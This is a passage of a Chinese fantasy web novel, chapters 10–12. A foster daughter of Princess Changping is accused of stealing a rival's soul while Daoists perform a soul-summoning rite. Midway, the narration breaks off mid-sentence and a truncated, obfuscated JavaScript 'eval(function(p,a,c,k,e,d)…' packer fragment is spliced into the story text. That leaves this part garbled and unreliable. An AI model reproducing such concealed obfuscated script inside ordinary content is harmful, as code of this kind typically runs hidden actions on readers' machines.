预言的命运中肯定也请过方士,可崔妙微还是被赶出了公主府,那就证明方士也看不出赵贞是装的,或者方士本就被赵贞买通了。 崔妙微早就想到了这点,因此不到万不得已,绝不想请方士掺和。 怎么办……崔妙微此时若是反对方士验证,旁人恐怕只会觉着她心虚了。 崔妙微背后全是冷汗,心绪急转,立刻便道:“阿娘,我堂堂正正,只管让方士验便是了,只是不许人辩解实在委屈,就算方士验过了,我也要把心中的话说出来才是。” 包庇了害自己的人,说出来确实难以取信众人,但崔妙微觉得只要自己讲明缘由,就算旁人不理解,昌平公主也会明白的,只要争取到昌平公主的信任,旁人的意见也不重要了。 昌平公主向来不多言,此刻目光犹疑地在赵氏与崔妙微身上打量,一时没有说话。 众人没想到今日会有这么大的热闹看,不知该信谁才好。 好在这群道士开始见礼,大家本就是因这些神异之事而来,立马便被吸引了注意力。 打头的道士出自洛阳最有名的道观玉虚观,其是观主的大弟子,人称玉枢真人,与在场许多人都是熟人。 玉枢真人身形圆润,蓄了一把长须,神态祥和,向公主行过礼后,便与相熟的夫人问候起来。 玉枢真人身边还带着几个手捧法器的憨厚小童,都是眼熟的,让人侧目的是,他身旁跟着的那个英俊高大,身姿挺拔的青年,这是个生面孔,还是个过于显眼的生面孔,引得众人频频往玉枢真人的身后探望。 玉枢真人知晓众人好奇,见礼过后便立刻笑眯眯地介绍身后的青年,“这位是来自长安的施道友。” 10. 第十章 方士的名很重要,极少对外透露,玉枢真人这么介绍,众人也不觉得奇怪。 青年在众人好奇地注视中自如地向前半步,微微躬身,微笑道:“臣拜见公主。” 昌平公主把他上下打量一眼,她对方士之流并不怎么关心,只点了点头。 青年神情自若,接着与屋中的夫人们见礼。 他身材高大,身背长弓,腰间佩剑,手腕缠着红绳,穿一件玄色长袍,一枚羊脂玉挂在腰间,言行举止明明平和又得体,却莫名让人觉得很有距离感,结合略有些出格的打扮,形成了一种危险又怪异的气质。 院中的女郎们都忍不住打量他,大家本就觉得方士神秘,更何况是一个这么年轻英俊的方士。 崔妙微也多看了几眼,注意到这青年腰间被腰带束起的衣服褶皱,手上缠绕的红绳,竟然全都是整齐的,再仔细看,他的玄色长袍绣着荷叶样的暗纹,腰间就配了锦鲤样的玉佩,色调也很贴合,衣料都是低调不显眼但细看就能发现做工极好的……这是个对外貌,或者说形象非常讲究的人,并且大概率出身很好……因为他很会穿衣服。 而且,崔妙微皱起眉,她总觉着这个声音似乎有些耳熟,仿佛……有些像施令岐,两人还都姓施。 崔妙微被自己的联想吓了一跳,连忙仔细回忆起来,发现二者之间还是有所不同,比起施令岐的声音,这位施道长的声音更加低沉悦耳一些。 且施令岐是邪修,按照崔妙微的设想,他应该形貌可怖,还能有个人形就不错了,怎么可能像这个施道长呢? 这位施道长的外貌气质与传说中凶神恶煞脱离人形的邪修迥然不同,与崔妙微三日前见得那个邪修就更是不同了。 对施道长感到好奇的显然不止崔妙微一人,玉枢真人极有眼色,连忙补充道:“施道长从长安云游到洛阳,慷慨大方,知晓我玉虚观在洛阳的善名,立刻为玉虚观捐了好大一笔符咒,又听闻贫身受赵夫人之命为其二女除崇,便请缨为贫道助阵,施道长年纪虽轻,于道术却天赋卓绝,已然是个入了道的修士,贫道方才听闻赵三娘失魂,招魂时有施道友助阵,必定事半功倍。” 玉枢真人没有介绍施道长的道号,但众人已经不在意了。 施道长看着年纪轻轻,竟然是个入了道的修士! 方士行冠礼以后才能开始准备入道,到正式入道少则五六年,多则数十年,再花上几年功夫修习术法,再到观中坐观五年才能出来行道,天赋卓绝者也得而立之年了。 这施道长看着方才行冠礼啊……众人的目光都更火热了。 洛阳城这么多年,修士的数目一个手都数得过来……更何况青年还能向玉虚观捐符咒,玉枢真人甚至说的是‘好大一笔’。 符咒难制,需要耗费大量的灵气,受朝廷把控,从来都是按需向各州发放,私卖起来一张千金还有价无市,施道长竟然为玉虚观捐了一笔符咒,这显然不是来自朝廷供给,这个青年到底是什么来路? 几个夫人打探起施道长的家世,他有问必答却滴水不漏,重要的信息一个也不讲,细究起来其实有些无礼,但众人想起他年纪轻轻便入道,非但不觉得不虞,反而觉得他为人谨慎,讲话也有分寸。 崔妙微也惊讶于施道长修道的天赋,但她有更重要的事情要做,见众人没有关注到重点,心中着急,只能自己扬声问起了赵氏,“赵贞方才失魂,赵夫人怎么如此快就把玉枢真人请来了?” 众人这才惊觉异常,从玉虚观到洛阳城中,少说也得大半个时辰。 赵夫人也在打探这位施道长的来路,闻言却并不慌乱,反而面露苦楚,“家中本就出过一次事了,我在百芳园中一听到消息,便着人去请方士了,奉珠死后,家中悲愁,每旬都请真人来家中除崇,按照惯例,玉枢真人今日本就要去我家中除崇,路上便遇到了,因而来的快。” 如今绝不像前朝那般推崇方士,方士作法更是大忌。百姓供奉方士成风,却也没一个人敢以此招摇过市,如家中要请方士作法,皆称为除崇。 昌平公主效仿天子疏远方士,洛阳权贵人家却大有不同,基本私下都会在家中供奉方士,逢年过节都除崇一番,是否能长久地供奉一位方士也是地位的象征,宴客时也会为方士留席。 赵家每旬都请方士作法,确实有些过了,但念及赵家方才失女,也说的过去。 说罢,赵氏的眼泪又掉了下来,“当初奉珠的事,家中就是不敢怀疑郡主,这才酿下了苦果,我膝下只剩一个女儿了,怎么能不谨慎呢?” 只是赵氏方才还厉声斥问,现在又动情落泪,看得人心里直犯嘀咕。 有人想到赵氏往日与赵奉珠相处确实挺亲近,看着有些母女情分,或许是失女心痛受了刺激,这才性情大变吗? 有个女儿与赵奉珠同龄的夫人顿觉感同身受,甚至不顾昌平公主就坐在上首,冷冷地瞪了崔妙微一眼。 崔妙微只能低着头,掐着掌心,假装自己什么也没看到。 玉枢真人来的突然,但事已至此,昌平公主也想速速了结,自然不会纠结赵氏提前叫道士这样的小事,摆摆手便准许玉枢真人等人进去查看赵贞了。 不到半柱香的功夫,玉枢真人便出来了,“赵三娘确实是失魂了。” 众人的目光顿时聚集在了崔妙微身上,还有人悄悄看昌平公主的脸色。 昌平公主到了此刻脸上的神情才有了变化,她强忍着怒气,先冷冷地看了崔妙微一眼,似乎有些恨铁不成钢,接着侧脸在邕娘耳边说了句什么,邕娘看了玉枢真人一眼,便悄悄离开了正厅。 崔妙微垂下眼帘,不敢与昌平公主对视,她早已预料到赵贞不会简单地被拆穿,心中虽失望却也能接受,更多的是奇怪,赵贞一个女郎,若真如施令岐所说的那样,是吃了药,可她到哪里找道士给她做这种药呢? 众人都对崔妙微冷眼,赵氏反而没有关注她,只对玉枢真人道:“被五独之人所克该如何招魂?还请方士救命,家中可许金百两。” 众人也回过神来,近千年来可都没有五独之人招魂成功的先例。若真是福康郡主所克,赵贞岂不是无法回魂? 这也是崔妙微想不通的地方,五独之人招魂的秘法谁也没有,难道赵贞要这么一直装下去吗?还是说……玉枢真人本身就有问题,暗中在帮赵贞掩饰呢? 可就算是这样,玉枢真人也没有合理的理由让赵贞醒过来啊。 院中响起一阵议论声,许多人都觉得赵贞没救了,还难免联想到自身,若是不小心得罪了福康郡主,岂不只有一个死字? 众人看崔妙微的目光都异样起来,到了此时才惊觉身边竟然有个活生生的五独之人。 院中慢慢安静下来,气氛也莫名怪异,玉枢真人却一无所觉,自顾自地笑眯眯道:“本道正好有个五独之人招魂的秘法!” 众人顿时侧目,崔妙微也猛地抬起了头,这也太巧了! 玉枢真人难掩得意, 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玉枢真人双手举起来,在面前摆来摆去的,示意赵氏言重了,却挡不住的眉开眼笑,“夫人既然执意如此,贫道只能受用了……可到底是不是五独之人克害的,贫道也不能断言,只能先招魂,若召不回来,便是被五独之人克了。” 赵氏没想到竟然这么麻烦,犹豫一会,直言能否让崔妙微直接做法。 玉枢真人却称赵氏胡闹,一改方才和颜悦色的模样,严肃道:“魂魄不是小事,不能乱来。” “就算确定是五独之人克的,也要先布好五独之人专用的五独招魂阵,由五独之人坐在阵中,贫道在一旁助阵,才能招魂。” 赵氏不敢得罪玉枢真人,这才作罢。 崔妙微紧盯二人,可也看不出什么异常。 玉枢真人已经开始让小童寻一个偏房开始摆阵了,言语间多有骄傲,“贫道一边在正房为赵三娘招魂,一边让小童在偏房摆一个五独招魂阵,若是此事出的再早上几个月,福康郡主想要招魂都没办法,好在我玉虚观曾经是仙人府邸……” 玉枢真人再次将玉虚观曾为仙人府邸的事讲了一遍,这才让小童开始摆阵,五独招魂阵是秘法,闭上门窗不许人看,自己则去正房为赵贞摆招魂阵。 招魂阵便常见许多,玉枢真人也乐于展示神通。大家都想围观道士除崇,把内室都挤满了。 崔妙微尽量忽略众人的眼神,也跟着来到了正房,关注玉枢真人的动作。 时人推崇方士,时常去道观上香,崔妙微不被方士所喜,自然也不被允许进入道观,但也耳濡目染,对求仙之道十分神往,关于方士的书也看了许多,其中不乏有关方士秘闻的禁书,但看书和现实终究是两回事,这也是她第一次见到方士作法。 这位玉枢真人好似极为赏识他来带的这位姓施的道长,将法器备好以后,就示意他来做阵前准备。 青年本来抱臂坐在一旁,安静地打量着堂中的众人,玉枢真人忽然让他来做法,他怔了一下,有些奇怪地笑道:“让我来?” 玉枢真人笑眯眯道:“自然是,不要拘礼。” 玉枢真人也不知道青年的底细,猜测他是云游的修士,没有挂单的道观,慕了玉虚观的名而来,为了加入玉虚观,这才送上符咒厚礼。 玉枢真人想到那批符咒,心中火热,不敢想青年的家底有多丰厚,自然要给他助阵的机会,以此示好。 青年并不推拒,大方地起了身,笑道:“前辈都这么说了,那我就献丑了。” 11. 第 11 章 男人年轻又英俊,身材高大劲瘦,衣着简单,他穿着却赏心悦目极了,玉枢真人带来的看着平平无奇的法器,他半蹲在那摆弄,手背上黛色的血管微微崩起来,就有股说不出来的劲,引得女郎们都围到这里来,差点把玉枢真人都挤出去了。 青年并不受影响,他安静地把每个法器都检查一遍然后重新放好,接着开始做阵前准备。他先看了赵贞的眼睛,瞳孔发黄,又看了赵贞的手脚,从玉枢真人的箱子中拿出一根羽毛似的笔,沾了符水在她手上写画,赵贞的手很快就苍白发凉,接着在十宣穴扎了一针,竟然流出了紫色的血。 众人一阵惊呼,崔妙微也失态地叫了一声,一时竟然呆住了。 脸色与眼睛都可以抹药,可血液的颜色要怎么改变呢? 玉枢真人则对施令岐熟练的动作连连点头,暗想即使不看在符咒的面子上,青年也是够格留在观中的。 玉枢真人暗自满意,在众人一惊一乍的议论声中才回过神,连忙上前细细观察了血液的颜色,断定道:“失魂不超过一日,赵三娘三魂七魄丢了三魂,而且发展的很快,已经‘要死了’。” 见有人面露疑惑,玉枢真人捋了捋胡子,解释道:“人有三魂七魄,邪修若是偷魄,被偷的人就称失魄,但能吃能喝能言语,只是失去心智如幼儿,于寿命无忧,但魄中无灵气,没有邪修会费劲偷魄。” “魂就不一样了,魂中有一个人几乎所有的灵气,强于血肉,若是被邪修偷魂,被偷魂的人就称失魂,症状与失魄大有不同,先昏迷,再眼珠变黄,接着血液变色,到了此时便是‘要死了’,若不作法招魂,便无力回天,寻常人能挺到第七日才让血液变色,赵娘子状况特殊,似乎只有一日。” 见众人面露惊叹,玉枢真人略微自得,忍不住多讲了一些,“偷魂术是最简单的邪术,严谨一些,其实算是一种阵,常常被邪修偷偷画在地上,一个时辰内踩过便可能中招,当时不显,魂魄却已经不稳了,邪修一个时辰内起阵招魂,魂魄就会跟着走了,在民间十分常见,看赵娘子种种症状,该是失魂,通常布阵做法便能回魂了。” 众人顿觉了悟,赵贞如果是被邪修偷魂了,那邪修就必须跨过公主府的守卫,在一个时辰内在府中画下偷魂阵才行,这显然是不可能的,堂堂公主府,怎么会有邪修混进来呢?除了是五独之人克的,已经没有别的可能了。 赵氏闻言再次请求玉枢真人直接让福康郡主作法,却还是被玉枢真人拒绝。 玉枢真人似乎并不在意旁人的猜测,不愿意对术法轻忽,坚持要先招魂才能下定论。 玉枢真人在外间正式开始布法坛,这种事总是有许多人围观的,外间很快就堵满了人。 宾客的仆人中有嘴快的,把消息传到了外院,甚至有男宾想要进来观法,被在府中巡警的法曹参军宋启云挡在外边了。 那位施道长则在内间为玉枢真人助阵,手持一只羽毛笔,半跪在地上帮玉枢真人画阵法。 众人都在外间围观法坛布置,一群女郎却聚在一起议论那个新来的施道长,几人都不敢和他搭话,却又忍不住议论他,有个小娘子平日里最受郎君欢迎,虚荣心作祟,当着女郎们的面进了内室。 内室中,修士正俯身画阵,垂着眼帘专注地看着笔下的线条……他拿笔的动作都比别人好看。 小娘子心跳很快,忍不住靠近一些和他搭话 ,“施道长,听说你是从长安来的,玉枢真人都把你夸上天了,长安有个凶神恶煞的邪道,也姓施,人称逍遥道,不知比起你的道术来如何?” 青年画阵时非常专注,嘴唇轻轻地抿着,画完以后检查线条有没有出错,边分神慢慢道:“没有比过,怎么,你见过那个逍遥道?” 他讲话很随意平和,小娘子有些不好意思,“没见过,据说他青面獠牙十分可怖,等闲不敢提起他的名讳。” “这样啊……”施道长头也不抬,道:“往后面站一点,挡到我画阵了。” 小娘子这才惊觉青年都要画到她脚边了,连忙往后退,见修士似乎对她的话不太感兴趣的模样,小娘子犹豫一会,道:“不过我虽没见过逍遥道,可我见过五独之人呢,你没见过五独之人吧,福康郡主就是五独之人。” 小娘子压低了声音,“她克死了赵大娘子呢,十几年前还把驸马都克死了。” 小娘子说完,修士却头也不抬地继续描画手中的线条,小娘子以为他不感兴趣,正是失望时,就见他把笔下线条画完以后便停下了动作。 小娘子一喜,期待地看着他。 修士先把笔擦干净,放进原来的盒子里,然后慢慢站起了身,垂眼看着这个小娘子,疑惑道:“谁是福康郡主?” 修士高大,又有股生人勿进的气质,小娘子仰头看着他棱角分明的脸,害羞之余莫名有些心慌,但还是下意识指了指外间角落中正监视赵氏和玉枢真人的崔妙微。 内间的门半掩着,修士顺着她的动作看过去,隐约能看到崔妙微被众人挤在角落里,正努力伸着脖子张望着玉枢真人的动作。 修士转回头,对小娘子微笑了一下,小娘子有些不明所以,但心中却一松,下意识也跟着笑了笑。 然后她就听到这位施道长像是和她闲聊一般道:“我确实没见过五独之人,你这么了解她,还这么热心讲述她的故事,为什么不直接带我过去认识她?我们可以一起聊聊她是怎么克死人的,正好我对此非常好奇。” 小娘子愣了一下,然后用帕子捂着嘴笑了,“道长真风趣,别开玩笑了。” 修士也弯了弯唇,似乎真的在开玩笑,就在小娘子也跟着放松下来的时候,他却慢慢敛去笑意,面无表情地看着她,然后轻轻对外间抬了抬下巴,道:“去啊,没听到吗?” 修士说完,就安静地看着她。 气氛忽然变得怪异,屋内就这么沉默了一会,小娘子渐渐意识到哪里不太对劲,脸上的笑也消失了,她想要说些什么,却忽然注意到屋子里只有她和这个陌生的修士,她这才发现,他真的非常高大……小娘子僵硬的扯了扯唇角,往后退了退,边道:“道长,我随口乱说的,开个玩笑而已……你忙吧,我不打扰你了。” 小娘子转身就要离开,内间的门却忽然被猛地关上了。 小娘子心一慌,连忙扑过去扯门,却发现门仿佛被一股无形的力量锁住了,怎么也扯不开,她只能回过头,惊恐地望着那个明明看着正直体面的修士。 修士居高临下地看着她,什么也没做,她却不知为何,吓得腿软,站都站不起来了。 她贴在门边瑟瑟发抖,竟然忍不住哭了出来。 修士垂眼看着,轻轻嗤笑了一声,缓缓道:“如果我再听到你这样‘开玩笑’,我就会带着你一起认识认识福康郡主,我们可以一起聊聊天,聊聊她是怎么克人的,你这么喜欢拿她开玩笑,肯定也很想多了解了解她吧。” 小娘子心中羞耻,喉头哽咽,连声音都很难发出来,不明白这个陌生的修士为什么要这样,她只是向往常一样找个大家都感兴趣的话题闲聊而已,心中更是有一种莫名的恐惧,只能飞快地点了点头,磕磕绊绊道:“对不起,我再也不会说了。” “向我道歉吗?”修士靠在书架上,“为什么,你也在别人那里开我的玩笑了吗?” 小娘子一怔,忽然领悟到了什么,飞快地摇了摇头,哭道:“我,我是对郡主说对不起。” “这样啊……”修士偏了偏头,示意她出去,“那你就去讲给郡主听吧。” 小娘子下意识往外看了一眼,透过模糊的窗纸能看到乌压压一片人,那群女郎还正探着头往里看……她面露抗拒,僵持一会,道:“太多人了,我,我会私下说的。” “那就是不想去?”修士往外瞥了一眼,忽然起身。 他一把抓住小娘子的袖摆,硬生生将她从地上扯了起来,让她踉踉跄跄地跟着自己来到门边,“那就我带你去。” 小娘子被扯起来,几乎是被拖着走了两步,眼看着修士就要把门推开,她吓坏了,不敢想自己被一个修士扯出去向福康郡主道歉该有多丢脸,那群女郎又会怎么议论她,她顿时大声哭道:“我自己去,现在就去!” · 外间,玉枢真人很快便在正房外间设立好了法坛,布置香炉贡品,接着拿出一个红色描金竹签摆在香案上。 崔妙微正紧盯玉枢真人的一举一动,比起来路不明的施道长,崔妙微自然选择观察起了在洛阳很有名气的玉枢真人,且她本就怀疑玉枢真人与赵贞有关联,怕他在阵法中动手脚,看到此物,不禁想起了曾看过的一本记录各州风云方士的《方士论》,其中有记载方士的由来。 方士在很久以前是不叫方士的,叫求仙人,大概在前朝才有了方士的概念,通常都是统称那些求仙的道士,不管什么身份,只要声称自己在修仙,会一到两个术法,都能自称为方士在朝廷领取俸禄,因制度宽松,导致弄虚作假成风,前朝末年,曾有一县田中无老农,数千方士同时领俸禄的奇状。 大唐与前朝不同的是,对求仙一道极尽打压,禁止寻常百姓求仙,对方士也进行了严格的限制与规范,普通的道士就是道教的修行者,也就是人们常见的道士,而在朝廷备案过自己正在学习术法的道士则属于方士,等到真正学会了术法的道士则被称为修士。 总之,遇到了道士,摸不清来路,叫一声方士肯定是不会出错的。 方士的数量也有严苛的限制,如洛阳城的方士就必须控制在两百人之类,修士更是控制在二十人之内,皆都记录在案,领朝廷俸禄,受朝廷管控。 术法也不能乱学,每个道观能学习的术法类型都有严苛的限制,要想学习,需要先拜入道观,成为修士的弟子,得到修士准许后,在官府备案,根据所属道观不同,学习不同的术法,比如玉虚观,就是以招魂阵、除崇阵闻名,拜入此观的道士大概率也只能学到这两种阵法。 不经过备案私自修炼术法的修士就是邪修,一经发现就会被即刻绞杀。 玉枢真人方才提出的‘五独招魂阵’,严谨一些,也算是私自修炼来路不明的术法,若是有人上报,按照律法,玉枢真人恐怕就会有麻烦。 但律法与实际情况很显然并不能完全一致,时人对方士的态度向来是十分尊敬,这种道观暗中有些小术法其实很常见,但顶多一两种,民不举官不究。 崔妙微又想到了施令岐,他自称是逍遥道,而传闻中逍遥道会百种术法,这样一想,就显得格外可怖了。 他不像现在的修士,更像从前的求仙人。 崔妙微在《方士论》中看到过相关的记载,与现在限制修士学术法不同的是,三千多年前,灵气充沛,只要有天赋,人人都能学习术法,且比如今强横百倍,甚至昨日入道今日就能反哺一方土地,修士只要有天赋,想修行多少种术法都行,那时也不是根据道观来学法术,而是根据门派来修行。 崔妙微依稀还记得几个有名的门派,为百姓调风弄雨的叫风雨门,专门学习呼风唤雨的法术,驱雨阵、引雷符等等都是出自此门,还有搬山越土的盘古门,改河顺渠的大禹门…… 道行高升到一个境界,就会称作仙人,仙人能做到如今的人难以想象的事,上能左右一个朝代的兴衰,下能主宰一方百姓的苦乐,当时的人也不追求学问,而是一股脑地求仙,虽有修仙天赋的人是少数,但不妨碍人人求仙的狂热。 只要到了六岁测试出有修仙的天赋,不管天赋好坏,立刻便能成为权贵的座上宾,得到当地豪绅的供奉,带着全家鸡犬升天。 后来不知为何,灵气突然开始消散,仙人们为了争抢灵气开始互相倾轧,许多珍惜物件、典籍都打没了,但多少也留下一些奇异术法,珍奇物件,大部分被朝廷收录,少部分流落民间成了禁物,只是如今灵气基础,能用的术法十不足一。修士的天赋和环境也远不如当年的求仙人,能用法器招个魂已经算了不得了了。 玉虚观因有六个修士坐镇,再兼擅长招魂阵与祈福阵,就成了洛阳香火最好的道观。 崔妙微正想的入神,就路三娘忽然满脸是泪地从内间冲到她面前,似乎羞耻的抬不起头,飞快地哽咽着说了一句,“郡主对不起,以后再也不会开你的玩笑了。”然后头也不回地跑了出去。 路三娘往日里都是和赵贞一块玩的,赵贞那一伙人,除了赵贞和刘二娘,就属她最威风了,方才赵贞在亭中排挤崔妙微,她笑的最开心了……这是怎么了? 路三娘的动作太快,甚至都没几个人看到,跟一阵风似的窜出去了,崔妙微根本就反应不过来,只听一旁有几个女郎嬉笑一声,转头一看,是路三娘的几个跟班,几人对着门外推推搡搡,然后欢快地追了出去。 崔妙微傻站一会,也无人来解释发生了什么。 玉枢真人正好拿起了一个描金竹签,吸引了众人的注意力,这也是玉枢真人与寻常道士不同的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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崔妙微实在看不出什么异常,又想起自己在书上看过的许多阵法描述,却从未见过真正的布阵,便也留在人群中观看,若有异常,也许她还能发觉。 作法并没崔妙微想象中神异,玉枢真人只是着人移走地毯,在地上用黑狗血画了奇怪的图案,再用朱砂在黄纸上写下赵贞的生辰八字,接着便点燃黄纸,坐在图案中开始念咒。 咒语念得非常快,崔妙微尽力去听,也只能听见几个零散的字句,她回忆自己看过的禁书,隐约能找到几段对得上的。 再看那个图案,与《术法论》中的招魂阵也十分相似。 但这些与崔妙微在禁书中看到的招魂阵还差一样东西,果然,邕娘匆匆赶回,拿出一个红色的小木匣,打开以后,小心翼翼地拿出一枚似乎泛着纯白柔光的圆形白色玉佩。 围观的众人见到这发光的玉佩,一阵躁动。 这就是灵玉,让它发光的东西则是施展术法必须用到的灵气。 从前灵气充沛,修士能随意地把灵气吸到丹田淬炼身体,施展法术只用外界的灵气,这种玉佩都是存储灵气以备不时之需的,沧海桑田,如今再把灵气引入身体的,只有邪修了。 修士没有灵气可用,只能依靠少数流传下来的灵玉做法,其中的灵气也是用一些少一些,这块玉佩的珍贵不言而喻。 玉枢真人笑眯眯地接过灵玉,“实在太巧了,贫道出门时忘带灵玉了,好在贵府还有一块。” 作法最重要的便是灵玉了,玉枢真人就是忘了自己也不会忘了灵玉的,这就是舍不得用观中的灵玉罢了。 好在玉枢真人吝啬之名人尽皆知,邕娘本就是奉命取玉,此刻也是看破不说破,笑道:“能救人一命是灵玉的福气。” 灵玉难得,整个洛阳城都不超过五块。 玉枢真人又客气几句,便小心翼翼转交到施道长手中,施道长接过来,看了看,顺手便放在了一旁的香案上。 玉枢真人看在眼中,不由猜测起施令岐是不是见过许多灵玉,这才如此荣宠不惊?心中更坚定了要拉拢施令岐的念头。 施道长对玉枢真人的想法一无所知,他按照阵法的纹路将玉佩放在阵法中央,便在地毯旁打坐,开始为玉枢真人助阵。 崔妙微大致看完了整个流程,便退出了内间。 方才退出去,耳边便响起了施令岐的声音,示意她找个安静的地方。 崔妙微找了个无人的角落,这才开始和他交谈。 施令岐开门见山,让崔妙微履行方才的约定,道:“如果你被强迫做法,你要强硬地指出五独招魂阵有问题,你进去了也会失魂。” 崔妙微先是一怔,但很快就明白了施令岐的意思。 如果一会她无法说服昌平公主,昌平公主肯定会要求她入阵作法,她指出阵法有问题,昌平公主在此情况下依旧强求,她却因此而失魂,事后,昌平公主自然会愧疚。 只是,崔妙微哪里装的出来?难道…… 崔妙微心里忽然有种不好的预感,她故意犹豫道:“我要是露馅了怎么办?” “不会的。”施令岐知道她在试探什么,坦诚道:“因为我会偷走你的魂魄。” 崔妙微的预感被证实,心中发寒,下意识就想拒绝,谁知道施令岐会不会借机采生她?可忽然想到自己若是真的要入阵,那就代表两个赌约也都已经输了……她根本没有拒绝的权利。 她必须对施令岐言听计从。 崔妙微抿了抿唇,到底什么也没说。 施令岐却问道:“刚才向你道歉的那个女郎也是赵贞的跟班?我在半山亭中听到过她的声音,她和一群女郎一起嘲笑你,是吗?” 崔妙微有些尴尬,含糊道:“她平日里确实和赵贞很亲近。” 施令岐沉吟一会,道:“诗社里,最讨厌你的人是赵贞,但她不会放下身段去和一群不熟悉的女郎讨论你,刘二娘维护和赵贞的关系就已经耗费很多精力,没时间编排你,这个路三娘……她还蛮喜欢在背后讲别人闲话的,身边还跟着一群女郎,她就是平日在诗社中传播你谣言的主力军?” 崔妙微不知道他怎么能猜的如此精准,路三娘确实是那个平日里最爱议论她的女郎了,但不知为何要提这个,犹疑道:“她在诗社中是挺活跃的。” 施令岐从崔妙微的反应中知道自己猜对了,他想了想,道:“我现在开始就要为我的计划做准备,你的人际关系想要改善,路三娘以及她那群女郎,以后最好都不要讲你的坏话了,赵贞的小团体也得拆开,闹的越难看越好,总之不能再对你有负面影响了。” 施令岐最后道: “按照我的计划,我要在今天就解决这件事,你需要做好拿刘二娘或者路三娘当众立威的心理准备。” 12. 第 12 章 崔妙微努力调整好了情绪才从角落中出来,事已至此,她只能尽力而为。 刚出角落,就见院子中人来人往乱做一团,昌平公主与诸位长辈都在西厢房回避。 崔妙微悄悄走近一些,透过半开的窗子,瞧见西厢房中摆的两个香炉,夫人们正排队净手上香,边安慰神情萎靡的赵氏。 崔妙微一看她的模样就忍不住一怔,倒不是因为她憔悴的脸色,而是她的装扮。 崔妙微方才没有心情细看,这会一打量就觉得怪异,她印象中赵氏是个对外表很讲究的人,好几次在宴会上见到,她虽已年过四十,可腰杆挺直,姿态优雅,衣裳与妆容都极为精致。 今日穿了件看似华丽的青色长裙,头上却带了对异色的花钗,面上的妆容虽然艳丽,但细看就知道是为了遮盖脸上的疲色,而且她还佝偻着腰,面无表情地呆坐在椅子上,任由旁人安慰或是话中有话的暗讽。 赵氏到底知不知情呢?如果她知情,为何要做出这副痛苦狼狈的模样,如果不知情,为何那么快就请来方士?还连参加宴会都无心打扮? 赵氏还在喃喃,“奉珠才走了不到半年,贞娘又出了事……“ 许多人都不喜赵氏平日里傲慢的性子,但见她这般,众人也不好冷眼旁观,只能低声劝慰,“玉枢真人有秘法,贞娘很快就会好的……” 赵氏却忽然哭了,到后来那哭声简直压不住,像在哭嚎,崔妙微看的心惊,连原本暗讽赵氏的夫人们都不讲话了。 昌平公主一直沉默地听着,知道赵氏这番痛哭,不过是在等她的态度,“我今日才知郡主与赵家姐妹因‘专座’结怨的事,非有意纵容郡主为恶,等此事了结,赵二娘的案子也水落石出,我会好好惩罚郡主,给赵家一个交代。” 崔妙微垂下眼睛,忍着没有进去争辩。 昌平公主说完便咳了几声,一旁的骆初静本来敛眉沉思,听到公主咳嗽,立刻弯下腰,用手搓着昌平公主的手,“阿娘,你的手太凉了,让人再抬个火炉进来吧。” “郡主年纪小,好好教养便是,您不要为此伤了身子。” 骆初静说完,怕昌平公主不愿意,就亲自起身去了隔间,与侍女抬了一个火炉来。 赵氏像是听到了想要听的话,知道昌平公主不会包庇崔妙微,整个人一下就平静了,竟然还反过来劝慰昌平公主不要动气,言语间对骆初静十分欣赏,“你还是有个好女儿的,比亲生的都贴心,这群女孩里,我是最喜欢她的……” 赵氏这番情绪大起大落实在怪异,但她今日已经几次这般反复,众人竟然都看习惯了,只悄悄对对眼神,不敢点出来刺激了她。 昌平公主似乎也并不在乎赵氏如何,只目光温和地看着骆初静,“静娘确实懂事……” 骆初静搬了个小凳坐在昌平公主身边,低头为昌平公主搓着手指,闻言笑笑不说话。 崔妙微在窗外安静地看着,忍不住蜷缩了几下手指,其实她也想要像骆初静那样直白坦诚地关心昌平公主,她也愿意为昌平公主抬火炉……可她知道自己做出来只会是东施效颦,让几人都觉得尴尬。 崔妙微站了一会,独自徘徊到了长廊中。 院中已经忙成了一团,外面的男宾进不来也不离开,管事娘子按照原定的时辰开了酒席,丝竹之声远远地传到后院,就有小娘子抗议,要在后院也摆席面。 邑司令竟然真的也给这群女眷安排吃坐,在院中摆了两桌席面,忙的满头大汗。 香火与吃食的味道混杂在一起,侍女们拎着食盒在人群中穿梭,崔妙微在角落中,满心的迷茫,像个局外人一般看着,忽然觉得好荒唐,心情压抑到了极点,竟然笑了一声。 笑完便茫然地看着远处淋漓的细雨,一时不知该去哪里……社员们都乳燕归林般去到了自家女眷的身边,院子里到处都是妇人安慰女郎的声音,有的女郎与友人在一起,聊着今日的诗会多么的刺激,那个新来的修士有多神秘,有社员的侍女听闻府中出事,从外院赶来与女郎相依在一起…… 崔妙微孤零零地站在一旁,安静地看着。 · 玉枢真人正式作法时便屏退众人,留那位施道长留在其中助阵。 厢房中的女眷也全都回到了院中,挤满了院子,等了大概两炷香的功夫,玉枢真人便出来了。 玉枢真人已经换上了一身法衣,在屋中憋了满头大汗,他赶走要跳起来为他擦汗的小童,气喘吁吁道:“贫道足足招魂三次也唤不醒赵三娘,按理说不该如此……事到如今,只能让福康郡主一试了。” 院中竟然无人惊讶,众人都自以为隐秘地看向了昌平公主。 崔妙微明知道会是这样,心中还是一沉,立刻从角落中站了出来。 她一现身长廊,人群如同摩西分海般,让她毫无阻碍地来到了昌平公主面前。 昌平公主听到玉枢真人的话后便沉下了脸,此刻也满眼失望地看着崔妙微,“你辜负了我的信任……罢了,速速为赵三娘作法,了结此事!其余的过后再说!” 昌平公主说罢,眼中竟闪过一抹痛楚,让崔妙微都一怔。 崔妙微知道自己不能作法,赵贞顺势醒来,她就真的说不清了,只能迅速跪下,“阿娘,请您给我一个解释的机会。” 昌平公主已经不想再听,她侧过脸不看崔妙微,“铁证如山你还不认?我教导你要一心向善,做个心无恶念的人,你就这样阳奉阴违!惹出的事一桩接着一桩!” 崔妙微心中难受,只能硬着头皮道:“去年一次诗赛中,赵奉珠赢了我,便将我的席位挪到了庭院中,以此作为惩罚。” “我在数日前,意外听到赵贞认为我因席位的事记恨赵奉珠,暗中克害了赵奉珠,计划在今日要装作失魂陷害我,我不愿意将事情闹大,便想在今日的诗赛中好好表现,与赵贞解开误会,可谁知在我坐在‘专座’上时,赵贞等人用了引雷符,雷就劈在我身边,我不想计较,便主动请缨搜身赵贞等人,符引子与荷包都是我从赵贞身上搜出来的。” 